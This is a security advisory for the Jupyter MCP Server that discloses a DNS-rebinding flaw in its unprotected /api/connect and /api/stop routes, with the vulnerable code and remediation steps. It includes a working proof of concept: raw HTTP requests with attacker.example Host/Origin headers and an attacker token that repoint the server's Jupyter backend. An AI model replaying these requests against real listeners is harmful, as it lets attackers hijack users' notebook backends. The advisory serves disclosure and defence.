Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
GHSA-9x8x-crjq-g64h · CVE-2026-77359
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Description
Standalone streamable-http mode in datalayer/jupyter-mcp-server rejects forged Host and Origin headers on /mcp, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to 127.0.0.1 or a private target address, then send PUT /api/connect to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.
The protected /mcp endpoint shows the intended browser-origin boundary. With MCP_TOKEN configured, /mcp rejects forged browser headers:
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142
HTTP 421 Invalid Host header
The vulnerable route is jupyter_mcp_server/server.py:143-187. It parses caller JSON, updates the active Jupyter backend configuration, resets ServerContext, and starts the kernel without applying the /mcp Host/Origin rejection to the custom route:
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
/api/stop is also state-changing and accepts the same browser-origin route shape:
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
Proof of concept
Run the affected version with MCP_TOKEN configured:
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
First, show that /mcp rejects the browser-shaped request:
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
Observed response:
HTTP/1.1 421
Invalid Host header
Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to 127.0.0.1 or the private MCP listener:
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_REBIND",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_REBIND"
}
Observed response:
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
The server log shows that /api/connect accepted the attacker-chosen backend despite the browser-origin headers:
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
When an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND
Impact
The protected /mcp endpoint rejects forged Host and Origin values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.
Why this is a vulnerability, not intended behavior
- This is not a generic claim that
/mcplacks Host validation./mcprejects the forged Host replay withHTTP 421 Invalid Host header. - This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
- This is not only a broad-bind issue. The default
0.0.0.0bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to/mcp.
Remediation
Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:
- Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
- Require the
MCP_TOKENbearer token on/api/connect,/api/stop,/api/healthz, and any future custom route that reads or changes server state. - Bind standalone HTTP to
127.0.0.1by default, and require an explicit host allowlist for non-loopback listeners. - Add regression tests proving that
/api/connectand/api/stopreject forged browserHostandOriginheaders.
References
- WEB https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h
- ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-77359
- WEB https://github.com/datalayer/jupyter-mcp-server/pull/262
- WEB https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4
- PACKAGE https://github.com/datalayer/jupyter-mcp-server
- WEB https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3
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